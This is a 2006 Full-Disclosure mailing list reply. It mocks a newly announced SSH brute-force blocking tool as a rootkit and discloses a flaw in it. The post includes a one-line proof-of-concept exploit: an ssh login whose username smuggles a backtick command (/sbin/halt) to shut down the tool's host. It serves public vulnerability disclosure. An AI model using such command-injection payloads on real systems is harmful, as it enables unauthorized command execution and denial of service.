full-disclosure - Re: SSH brute force blocking tool

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Message-ID: <20061127203433.GC6620@sdf.lonestar.org>
Date: Mon, 27 Nov 2006 20:34:33 +0000
From: Tavis Ormandy <taviso@...too.org>
To: "J. Oquendo" <sil@...iltrated.net>
Cc: full-disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: SSH brute force blocking tool

On Mon, Nov 27, 2006 at 02:22:10PM -0500, J. Oquendo wrote:
> For those interested, I wrote a program called Sharpener which is an SSH 
> brute force blocking tool that also reports back the offenders' 
> addresses. I have begun posting the information on the attackers as well 
> as sending out messages (whenever possible) to the admins of these 
> domains. Think of it as an RBL for SSH attackers. The goal is to 
> identify these machines in order for others to implement safeguards 
> (ACL's) against these hosts. Feel free to comment/complain.
> 
> 
> http://www.infiltrated.net/sharpener (tool)
> http://www.infiltrated.net/bruteforcers (offenders)

Nice work, really subtle rootkit. I like the email phone-home.

Here's an exploit.

#!/bin/sh
ssh 'foo bar `/sbin/halt`'@...tim

-- 
-------------------------------------
taviso@....lonestar.org | finger me for my pgp key.
-------------------------------------------------------

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